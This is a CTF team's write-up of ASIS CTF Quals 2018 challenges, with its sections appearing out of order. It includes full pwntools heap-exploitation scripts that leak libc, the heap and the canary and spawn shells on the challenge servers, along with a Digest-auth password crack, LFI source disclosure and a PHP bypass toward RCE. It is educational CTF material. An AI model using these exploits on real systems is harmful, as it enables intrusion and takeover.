The Secret Key?mysecretkeyASIS{imagine_a_flag_in_a_watermelon_how_can_you_capture_it}``` It seems like they are all fake flag. Now there is two ways to deal with this chellange. The way I take is finding how this binary output those fake flag. Using `gdb` and `IDA pro`, I found that those function which will generate fake flag is located at these position. ![](https://i.imgur.com/Riza8hO.png) Well, `sub_9320` seems to be a good target to analysis. Just use `gdb` and change your $rip. Then, the real flag will output to your screen Now you have the flag `ASIS{Rust_!s_Right_i5_rust_!5_rust_but_rust_!s_no7_left}` There is another way to capture the flag. In this way, you should find out the real secret key. Practically, you need to locate the key-checking function. Track those fake key. you will find out the key-checking function. It is located at `sub_83c0` Then you can trace this function and easily get the real secret key which is `sscsfuntnguageisfunsu`### Density (sces60107) In this challenge you will get a binary and a encrypted flag. This chllenge is not difficult at all. The binary name is "b64pack". You can just try base64```$ base64 short_adff30bd9894908ee5730266025ffd3787042046dd30b61a78e6cc9cadd72191 O++h+b+qcASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM+vb++fD9W+q/Cg==``` There is string while looks like flag`ASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM+vb++fD9W+q/Cg==` We still need to reverse the binary. You can divide this binary into three part. The first part:`input=randomstr+input+flag` The second part:```pythonnewinput=""for i in input: if i in "@$_!\"#%&'()*+,-./:;<=>?\n": newinput+="+"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i)) elif i in "[\\]^{|}~`\t": newinput+="++"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i)) else: newinput+=i```The third part:```output=newinput.decode("base64")``` Now you know how to reconstruct the flag.The flag is `ASIS{01d_4Nd_GoLD_ASIS_1De4_4H4t_g0e5_f0r_ls!}`## pwn ### Cat (kevin47) * I am a idiot that can't think, so I used the most hardcore way :)* Use name and kind to leak heap, libc, stack, canary* fastbin dup attack to stack twice in order to overwrite return address ```python#!/usr/bin/env python2 from pwn import *from IPython import embedimport re context.arch = 'amd64' r = remote('178.62.40.102', 6000) def create(name, kind, age, nonl=0, stack=''): if name == '': r.recvrepeat(1) if stack: r.send(stack) else: r.send('0001') if name == '': r.sendlineafter('>', '') r.sendlineafter('>', '') else: r.send(name.ljust(0x16, '\x00')) r.send(kind.ljust(0x16, '\x00')) r.send(str(age).rjust(4, '0')) def edit(idx, name, kind, age, modify, sp=1): r.send('0002') r.send(str(idx).rjust(4, '0')) if sp: r.recvrepeat(1) r.sendline(name) r.sendlineafter('>', kind) else: r.send(name.ljust(0x16, '\x00')) r.send(kind.ljust(0x16, '\x00')) r.send(str(age).rjust(4, '0')) r.send(modify.ljust(4, '\x00')) def print_one(idx): r.recvrepeat(2) r.send('0003') r.sendlineafter('>', str(idx)) return r.recvuntil('---', drop=True) def delete(idx): r.send('0005') r.send(str(idx).rjust(4, '0')) create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)#create('a'*0x10, 'a'*0x10, 1)create(flat(0, 0x21), flat(0, 0x21), 1)create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)delete(4)delete(5)# set ptredit(0, 'b', 'b', 2, 'n')create('', '', 1)edit(0, 'b', 'b', 2, 'n', sp=1)x = print_one(4)xx = re.findall('kind: (.*)\nold', x)[0]heap = u64(xx.ljust(8, '\x00')) - 0x180print 'heap:', hex(heap)create('a', flat(heap+0x10, heap+0x70), 1)edit(0, 'b', 'b', 2, 'n') create(flat(0x602010), 'a', 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]#libc = u64(xx.ljust(8, '\x00')) - 0x3a6870libc = u64(xx.ljust(8, '\x00')) - 0x3e1870print 'libc:', hex(libc) delete(6)#environ = libc + 0x38bf98environ = libc + 0x3c6f38create(flat(heap+0x10, heap+0x30), flat(environ, heap+0x30), 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]stack = u64(xx.ljust(8, '\x00'))print 'stack', hex(stack) delete(6)canary_addr = stack - 0x100 + 1create(flat(canary_addr, heap+0x30), flat(heap+0x10, heap+0x30), 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]canary = u64('\x00'+xx[:7])print 'canary:', hex(canary) # switch orderdelete(6)create(flat(heap+0x10, heap+0x30), flat(heap+0x10, heap+0x30), 1) edit(0, 'b', 'b', 2, 'n')delete(1) fake_pos = stack-0x11fprint 'fake_pos:', hex(fake_pos)create(flat(fake_pos), 'a', 1)# fake chunk on stackcreate(flat(heap+0x1b0, heap+0x210), '\x00'*7+flat(0x2100), 1, stack='1\x21\x00\x00') # puts address on heapdelete(3)create(flat(fake_pos+0x10), flat(fake_pos+0x10), 1) # reset fastbindelete(4)delete(0) create(flat(heap+0x160), 'b', 1,)#raw_input("@")magic = libc + 0xf1147print 'magic:', hex(magic)r.recvrepeat(1)r.sendline('1')r.sendlineafter('>', 'AAAA')r.sendafter('>', flat(canary>>8)[:-1]+flat(0, magic))r.sendlineafter('>', '6')sleep(1)r.sendline('ls /home/pwn; cat /home/pwn/flag') #embed()r.interactive() # ASIS{5aa9607cca34dba443c2b757a053665179f3f85c}``` ### Just_sort (kevin47) * Simple overflow and UAF problem ```python#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' r = remote('159.65.125.233', 6005) def insert(n, s): r.sendlineafter('>', '1') r.sendlineafter('>', str(n)) r.sendafter('>', s) def edit(h, p, s): r.sendlineafter('>', '2') r.sendlineafter('>', str(h)) r.sendlineafter('>', str(p)) r.sendafter('>', s) def printt(): r.sendlineafter('>', '3') return r.recvuntil('---', drop=True) def search(n, s): r.sendlineafter('>', '4') r.sendlineafter('>', str(n)) r.sendafter('>', s) def delete(h, p): r.sendlineafter('>', '5') r.sendlineafter('>', str(h)) r.sendlineafter('>', str(p)) insert(10, 'a')insert(10, 'b')delete(1, 0)search(10, flat( [0]*3, 0x21, [0]*3, 0x21, 0, 0x602018,))x = printt()xx = re.findall('0: "(.*)"', x)[0]libc = u64(xx.ljust(8, '\x00')) - 0x844f0print 'libc:', hex(libc)system = libc+0x45390edit(1, 0, flat(system))insert(40, '/bin/sh\x00')delete(4, 0) r.interactive()# ASIS{67d526ef0e01f2f9bdd7bff3829ba6694767f3d1}``` ### message_me (kevin47) * UAF* hijack __malloc_hook with fastbin dup attack ```python#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' #r = remote('127.0.0.1', 7124)r = remote('159.65.125.233', 6003) def add(sz, content): r.sendlineafter('choice : ', '0') r.sendlineafter('size : ', str(sz)) r.sendlineafter('meesage : ', content) def remove(idx): r.sendlineafter('choice : ', '1') r.sendlineafter('message : ', str(idx)) def show(idx): r.sendlineafter('choice : ', '2') r.sendlineafter('message : ', str(idx)) return r.recvuntil('----', drop=True) def change(idx): r.sendlineafter('choice : ', '3') r.sendlineafter('message : ', str(idx)) add(0x100-0x10, 'a') # 0add(100-0x10, 'a') # 1add(0x100-0x10, 'a') # 2add(100-0x10, 'a') # 3add(0x100-0x10, 'a') # 4add(100-0x10, 'a') # 5remove(0)remove(2)remove(4)x = show(2)xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]heap = u64(xx.ljust(8, '\x00')) - 0x2e0x = show(4)xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]libc = u64(xx.ljust(8, '\x00')) - 0x3c4c68print 'heap:', hex(heap)print 'libc:', hex(libc) # fastbin dupclib = CDLL("libc.so.6")clib.srand(1)__malloc_hook = libc + 0x3c4aed#__malloc_hook = 0x602005magic = libc + 0xf02a4print 'magic:', hex(magic)add(0x70-0x10, flat( # 6 0x71,))add(0x70-0x10, flat(0x71, __malloc_hook)) # 7remove(6)remove(7)remove(6)# 6's fd += 0x10change(6)change(6)change(6)add(0x70-0x10, flat(0xdeadbeef))add(0x70-0x10, flat(0xdeadbeef))add(0x70-0x10, '\x00'*3+flat(0, magic)) # trigger malloc_printerrremove(0)remove(0)#r.sendlineafter('choice : ', '0')#r.sendlineafter('size : ', '100') r.interactive()# ASIS{321ba5b38c9e4db97c5cc995f1451059b4e28f6a}``` ### Tinypwn (kevin47) * Use the syscall execveat ```python2#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' #r = remote('127.0.0.1', 7124)r = remote('159.65.125.233', 6009) r.send('/bin/sh\x00'.ljust(296)+flat(0x4000ed)+'\x00'*18) r.interactive() # ASIS{9cea1dd8873d688649e7cf738dade84a33a508fb}``` ## PPC ### Neighbour (lwc)$O(log N)$```python=#!/usr/bin/env python# -*- coding: utf-8 -*- from sage.all import *from pwn import * def puzzle(s): import string for i in string.printable: for j in string.printable: for k in string.printable: for l in string.printable: if hashlib.sha256(i+j+k+l).hexdigest()[-6:] == s: return i+j+k+l r = remote('37.139.22.174', 11740) r.recvuntil('sha256(X)[-6:] = ')s = r.recv(6)r.sendline(puzzle(s)) stage = 1while True: r.recvuntil('n = ') n = Integer(r.recvline()) print 'stage %d n = ' % stage + str(n) stage += 1 ans = n - max(map(lambda i: power(Integer(floor(n.n(digits=len(str(n))).nth_root(i))), i), range(2, int(ln(n)/ln(2))+1))) print ans r.sendline(str(ans)) r.recvuntil('To win the flag, submit r :)\n') tmp = r.recvline() print tmp if 'Great!' not in tmp: break if 'next' not in tmp: break r.interactive()``` ### The most Boring (how2hack)I used more time to understand the challenge description than solving this challenge ==Basically it wants us to give 3 different string that all consecutive k characters will not repeat. As I am familiar with pwn, I quickly think of pwntools cyclic() function. Pwntools is the best tool! ```python#!/usr/bin/env python import itertools as itimport stringfrom hashlib import sha256import multiprocessing as mp from pwn import * host = '37.139.22.174'port = 56653 def check(p): if sha256(p).hexdigest()[-6:] == target: return p return None def my_remote(ip, port, show=False): global target r = remote(ip, port) menu = r.recvuntil('Submit a printable string X, such that sha256(X)[-6:] = ', drop=True) if show: print(menu) target = r.recvline().strip() possible = string.ascii_letters+string.digits possible = it.imap(''.join, it.product(possible, repeat=4)) pool = mp.Pool(32) log.info('PoW XXXX = %s' % (target)) for c in pool.imap_unordered(check, possible, chunksize=100000): if c: log.info('Solved - %s' % c) r.sendline(c) break pool.close() return r if __name__ == '__main__': import sys r = my_remote(host, port, show=True) while True: r.recvuntil('k = ') k = int(r.recvline().strip()) log.info('k = ' + str(k)) r.recvuntil('send the first sequence: \n') r.sendline(cyclic(alphabet='012', n=k)) r.recvuntil('send the second sequence: \n') r.sendline(cyclic(alphabet='120', n=k)) r.recvuntil('send the third sequence: \n') r.sendline(cyclic(alphabet='201', n=k)) if k == 9: break r.interactive()```Flag: `ASIS{67f99742bdf354228572fca52012287c}` ### Shapiro (shw)Shapiro points are lattice points that the gcd of its coordinates is 1. In this challenge, we have to construct a `k x k` grid such that none of its point is a Shapiro point. Take `k = 3` for example, we have to decide `x, y` such that all of the following points are not Shapiro.```(x+0, y+2), (x+1, y+2), (x+2, y+2)(x+0, y+1), (x+1, y+1), (x+2, y+1)(x+0, y+0), (x+1, y+0), (x+2, y+0)```The basic idea is to assign every point a prime as a common divisor of its coordinates. We let the assigned primes be different for all points, e.g.,```x+0 = y+0 = 0 mod 2x+0 = y+1 = 0 mod 3x+0 = y+2 = 0 mod 5x+1 = y+0 = 0 mod 7... and so on```According to CRT, the congruence equation exists solutions for `x, y mod P`, where `P` is the product of all primes we had used. Note that there would be restrictions such as `the largest y coordinate smaller than k`, or `the smallest x coordinate larger than k`. However, it's lucky for us that the two restrictions `larger` and `smaller` do not occur at the same time. Thus, we can add (or minus) `x, y` with `P` to sufficiently large (or small) to satisfy the condition.Code snippet:```pythonfrom gmpy import * def find(k): p = next_prime(1) mod, rx, ry = [], [], [] for i in range(k): for j in range(k): mod.append(p) rx.append((p-i)%p) ry.append((p-j)%p) p = next_prime(p) return mod, rx, ry while True: r.recvuntil('k = ') k = int(r.recvline()[:-1]) m, rx, ry = find(k) X = chinese_remainder(m, rx) Y = chinese_remainder(m, ry) cond = r.recvline()[:-1] prod = reduce(lambda x, y: x*y, m) if 'larger' in cond: lb = int(cond.split()[-1]) q = lb/prod X += prod*(q+1) Y += prod*(q+1) elif 'smaller' in cond: q = X/prod X -= prod*(q+1) Y -= prod*(q+1) r.sendline(get_format(X, Y, k)) data = r.recvline()[:-1] if 'please pass' not in data: break``` FLAG: `ASIS{9273b8834e4972980677627fe23d96ee}` ## misc ### Plastic (sces60107) There is a png file. Just try `zsteg````$ zsteg plasticmeta XML:com.adobe.xmp.. text: "<x:xmpmeta xmlns:x=\"adobe:ns:meta/\" x:xmptk=\"XMP Core 5.4.0\">\n <rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n <rdf:Description rdf:about=\"\"\n xmlns:exif=\"http://ns.adobe.com/exif/1.0/\"\n xmlns:tiff=\"http://ns.adobe.com/tiff/1.0/\">\n <exif:UserComment>\n <rdf:Alt>\n <rdf:li xml:lang=\"x-default\">AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc45/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarGU7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlNps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUslk+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnHI/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3CxgtiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZkOFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyObWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2smpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTkKnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mRAGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFNECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HPwVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4PV+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrkRLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==</rdf:li>\n </rdf:Alt>\n </exif:UserComment>\n <tiff:Orientation>1</tiff:Orientation>\n </rdf:Description>\n </rdf:RDF>\n</x:xmpmeta>\n"``` You can notice that there is a base64-encoded string`AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc45/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarGU7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlNps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUslk+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnHI/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3CxgtiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZkOFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyObWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2smpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTkKnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mRAGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFNECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HPwVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4PV+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrkRLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==` But you cannot just use base64 decoder. There is something you need to do first. You remove every `` in the string. Then, you can use base64 decode. After base64decoding, you still don't know what it is.Just use `binwalk`, then you can find out that there is a zlib compressed data The final step is decompress the data. The flag is right here```$ strings decompressed_data bplist00wxX$versionX$objectsY$archiverT$top!"#$%&'()*+189=AGHNOWX\_cdhlostU$null WNS.keysZNS.objectsV$class XbaselineUcolorTmodeUtitleXpreamble]magnificationTdate_backgroundColorZsourceText#./0UNSRGB\NSColorSpaceO*0.9862459898 0.007120999973 0.027434000752345Z$classnameX$classesWNSColor67WNSColorXNSObject:;<YNS.string23>?_NSMutableString>@7XNSStringCDEFXNSString\NSAttributes\documentclass[10pt]{article}\usepackage[usenames]{color} %used for font color\usepackage{amssymb} %maths\usepackage{amsmath} %maths\usepackage[utf8]{inputenc} %useful to type directly diacritic charactersVNSFontSTUVVNSSizeXNSfFlagsVNSName#@(VMonaco23YZVNSFont[7VNSFont23]^\NSDictionary23`a_NSAttributedStringNSAttributedString#@BfgWNS.time#A23ijVNSDatek7VNSDatem/0F1 1 1CpEF={\bf ASIS}\{50m3\_4pps\_u5E\_M37adat4\_dOn7\_I9n0Re\_th3M!!\}23uv_NSMutableDictionaryu]7_NSKeyedArchiveryzTroot ``` The flag is `ASIS{50m3_4pps_u5E_M37adat4_dOn7_I9n0Re_th3M!!}` ## forensic ### Trashy Or Classy (sces60107 bookgin) In this forensic challenge you will get a pcap file. In this pcap file you will notice that someone trying to connet to the website which is located at `http://167.99.233.88/` It's a compilicated challenge. I will try to make a long story short. This challenge can be divided into three steps. #### first stepIn the first step, you will find an interest file from pcap which is `flag.caidx` Just google the extension, you will see a github repo [casync](https://github.com/systemd/casync) You also notice the `flag.caidx` is located at `http://167.99.233.88/private/flag.caidx` There is also a suspicious direcory which is `http://167.99.233.88/private/flag.castr` But you need the username and password for the authentication. #### second step The username can be found in the pcap file. It's `admin` But we still need password. Then, you can find out that the authentication is [Digest access authentication](https://en.wikipedia.org/wiki/Digest_access_authentication) You have everything you need to crack the password now. Just download rockyou.txt and launch a dictionary attack. It's won't take too much time to crack the password. Finally, the password is `rainbow` #### third step Now you can login and download the `flag.caidx`. But you still cannot list `flag.castr` You may need to install `casync` Then you can use `test-caindex````trashy/casync/build$ ./test-caindex ../../flag.caidx caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770 (51)b94307380cddabe9831f56f445f26c0d836b011d3cff27b9814b0cb0524718e5 (58)4ace69b7c210ddb7e675a0183a88063a5d35dcf26aa5e0050c25dde35e0c2c07 (50)383bd2a5467300dbcb4ffeaa9503f1b2df0795671995e5ce0a707436c0b47ba0 (50)...```These message will tell you the chunk file's position.For example, `caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk` is located at `flag.castr/caf4/caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk` You can download all the chunk file in `flag.castr` now. Now you can extract the flag```trashy$ sudo casync extract --store=flag.castr flag.caidx wherever_you_liketrashy$ cd wherever_you_liketrashy/wherever_you_like$ lsflag.png``` The flaf is right here.![](https://i.imgur.com/SSoTmJm.png) The flag is `ASIS{Great!_y0U_CAn_g3T_7h3_casync_To0l,tHe_Content-Addressable_Data_Synchronization_T0Ol!!!}` ### Tokyo (sces60107) Without the hint, this challenge is probably the most guessing challenge in this CTF. We will get a binary, but it can't be recognized by any tools. After some investigation, I got three clues from the binary. First, there is a header at the begining of this binary. And the header begin with `KC\n` Second, we found some interesting blocks at the end of the binary. Each block' size is 24byte. And Each block contains a printable letter. Gather all the printable letter. It seems like you can reconstruct the flag from it in some order. `!_Ab_ni!_as__ial_Cb_a_iSgJg_td_eKeyao_ae_spb}iIyafa{S_r__ora3atnsonnoti_faon_imn_armtdrua` Third, this binary contains lots of null byte. However, beside the begining and the end, we can still find some non-null byte in the binary. Totally, I found 89 blocks in the binary and each blocks is 3 byte long.what a coincidence! The length of flag is also 89. These blocks are big-endian-encoded. Their values go from 787215 to 787479, increasing 3 by 3. That's all the clue. Unfortunately, no one can solve this challenge. So, the host release the hint `Kyoto Cabinet` Now we know this file is [kyoto cabinet](http://fallabs.com/kyotocabinet/) database `KC\n` is the magic signatrure of kyoto cabinet database file. According the header, we can also find out that it is a hashdatabase. After understanding the mechanism of kypto cabinet database, the end of the database is the record section. Those 3-byte-long blocks is buckets. ![](https://i.imgur.com/WcskOZg.png) So, the last question is what the key is. According to record section, we will know the key size which is 3 byte long. After several attempts, I found out the keys of the flag go from "000" to "088" It's time to reconstruct the flag```pythonfrom pwn import *import kyotocabinet def haha(a): k=a.encode("hex") return int(k,16)f=open("tokyo").read()j=f[0x30:] temp=[]flag=Falsekk=""pos=0hh=[]for i in range(len(j)): if j[i]!="\x00": if flag: kk+=j[i] else: kk=j[i] flag=True else: if flag: if kk=="\xcc\x04": pos=i break temp.append(kk) kk="" flag=False hh.append(i-3) t=j[pos:]t2=[]flag=Falsekk=""for i in range(len(t)): if t[i]!="\x00": if flag: kk+=t[i] else: kk=t[i] flag=True else: if flag: if len(kk)<2 or kk[1]!="\xee": kk="" continue t2.append(kk[0]) kk="" flag=Falsei=map(haha,temp) flag = "".join(t2)flag2=""for k in map(haha,temp): v=sorted(i).index(k) flag2+=flag[(v)%89]print flagprint flag2 indd=[]for i in range(89): j=str(i).rjust(3,"0") temp=kyotocabinet.hash_murmur(j) indd.append(temp%0x100007) flag3=""for k in indd: v=sorted(indd).index(k) flag3+=flag2[(v)%89]print flag3``` This code is not a clean code. I'm sorry about that. By the way, the flag is `ASIS{Kyoto_Cabinet___is___a_library_of_routines_for_managing_a_database_mad3_in_Japan!_!}` ## crypto ### the_early_school (shw)```pythonfrom Crypto.Util.number import * def dec(s): if len(s) % 3 == 2: return dec(s[:-2]) + s[-2] r = '' for i in range(0, len(s), 3): r += s[i:i+2] return r with open('FLAG.enc', 'rb') as f: s = f.read()ENC = bin(bytes_to_long(s))[2:] for i in xrange(1 << 30): ENC = dec(ENC) a = long_to_bytes(int(ENC, 2)) if 'ASIS' in a: print a break```FLAG: `ASIS{50_S1mPl3_CryptO__4__warmup____}` ### Iran (shw and sasdf) #### First-halfWe know how the key is generated.```pythonkey_0 = keysaz(gmpy.next_prime(r+s), gmpy.next_prime((r+s)<<2))```Let `p = next_prime(r+s)` and `q = next_prime((r+s)<<2)`, we have that `4p ≈ q` (approximately equal). Thus, `N = pq ≈ q^2/4` and `q ≈ sqrt(4*N)`. We can try to brute force `q` to get the correct `(p, q)` pair.```pythonfrom decimal import *import gmpy getcontext().prec = 1000t = Decimal(4*N).sqrt()t = int(t) for i in range(10000): q = t - i # or try t + i if n % q != 0: continue p = n / q assert(gmpy.is_prime(p) and gmpy.is_prime(q)) print 'p =', p print 'q =', q```After we get `p, q`, we can decrypt `enc_0` to get the first half of flag.```pythondef decrypt(a, b, m): n, e = a*b, 65537 d = gmpy.invert(e, (a-1)*(b-1)) key = RSA.construct((long(n), long(e), long(d))) dec = key.decrypt(m) return dec print decrypt(p, q, c) # ASIS{0240093faf9ce```Also, we can get the range of `u = r+s` by```pythondef prev_prime(p): for i in xrange(1, 1<<20): if gmpy.next_prime(p-i) != p: return p-i+1 u_min = max(prev_prime(p), (prev_prime(q)/4)+1)u_max = min(p-1, q/4)```
# ASIS CTF Quals 2018 **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180429-asisctfquals/) of this writeup.** - [ASIS CTF Quals 2018](#asis-ctf-quals-2018) - [Web](#web) - [Nice code (unsolved, written by bookgin)](#nice-code-unsolved-written-by-bookgin) - [Bug Flag (bookgin, sces60107)](#bug-flag-bookgin-sces60107) - [Good WAF (solved by ysc, written by bookgin)](#good-waf-solved-by-ysc-written-by-bookgin) - [Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin)](#personal-website-solved-by-sasdf-bookgin-sces60107-written-by-bookgin) - [Sharp eyes (unsolved, written by bookgin, special thanks to @herrera)](#sharp-eyes-unsolved-written-by-bookgin-special-thanks-to-herrera) - [Gameshop (unsolved)](#gameshop-unsolved) - [rev](#rev) - [Warm up (sces60107)](#warm-up-sces60107) - [baby C (sces60107)](#baby-c-sces60107) - [Echo (sces60107)](#echo-sces60107) - [Left or Right? (sces60107)](#left-or-right-sces60107) - [Density (sces60107)](#density-sces60107) - [pwn](#pwn) - [Cat (kevin47)](#cat-kevin47) - [Just_sort (kevin47)](#just_sort-kevin47) - [message_me (kevin47)](#message_me-kevin47) - [Tinypwn (kevin47)](#tinypwn-kevin47) - [PPC](#ppc) - [Neighbour (lwc)](#neighbour-lwc) - [The most Boring (how2hack)](#the-most-boring-how2hack) - [Shapiro (shw)](#shapiro-shw) - [misc](#misc) - [Plastic (sces60107)](#plastic-sces60107) - [forensic](#forensic) - [Trashy Or Classy (sces60107 bookgin)](#trashy-or-classy-sces60107-bookgin) - [first step](#first-step) - [second step](#second-step) - [third step](#third-step) - [Tokyo (sces60107)](#tokyo-sces60107) - [crypto](#crypto) - [the_early_school (shw)](#the_early_school-shw) - [Iran (shw and sasdf)](#iran-shw-and-sasdf) - [First-half](#first-half) ## Web ### Nice code (unsolved, written by bookgin) The challenge is related to PHP code review. The page will show the error message. All we have to do is bypass the error :) ```# substr($URL, -10) !== '/index.php'http://167.99.36.112:8080/admin/index.php# $URL == '/admin/index.php'http://167.99.36.112:8080/admin/index.php/index.php``` Next, we are redirected to http://167.99.36.112:8080/another/index.php?source . ```php $_v){ if($_k_o == $k_Jk){ $f = 1; } if($f && strlen($__dgi)>17 && $_p == 3){ $k_Jk($_v,$_k_o); //my shell :) } $_p++; }}else{ echo "noob!";} ``` Also note that the server uses PHP/5.5.9-1ubuntu4.14. Then I got stuck here for DAYS. After a few tries, I think it's impossible to bypass `===`. However, that's not the case in PHP 5.5.9 due to [this bug](https://bugs.php.net/bug.php?id=69892). Just send a big index, and it will be casted to int. Overflow! The rest is simple. No need to guess the content in `oshit.php`. Use system to RCE. Postscript: 1. The bug seems to be famous(infamous) in 2015,2016 PHP CTFs. You can Google the link or bug id and you'll find lots of challenges related to this bug.2. Always pay attention to the version server used. The current release is PHP 7.2, but the challenge uses PHP 5.5.9.3. If the condition is impossible to bypass, just dig into the bug databse/source code.4. The challenge is solved by more than 20 teams, so it must be simple to find a solution. I've learned a lot. Thanks to this challenge and PHP! ### Bug Flag (bookgin, sces60107) Get source code by LFI `http://46.101.173.61/image?name=app.py`. It's Python2 + Flask. ```pythonfrom flask import Flask, Response, render_template, session, request, jsonify app = Flask(__name__)app.secret_key = open('private/secret.txt').read() flags = { 'fake1': { 'price': 125, 'coupons': ['fL@__g'], 'data': 'fake1{this_is_a_fake_flag}' }, 'fake2': { 'price': 290, 'coupons': ['fL@__g'], 'data': 'fake2{this_is_a_fake_flag}' }, 'asis': { 'price': 110, 'coupons': [], 'data': open('private/flag.txt').read() }} @app.route('/')def main(): if session.get('credit') == None: session['credit'] = 0 session['coupons'] = [] return render_template('index.html', credit = session['credit']) #return 'Hello World!Your Credit is 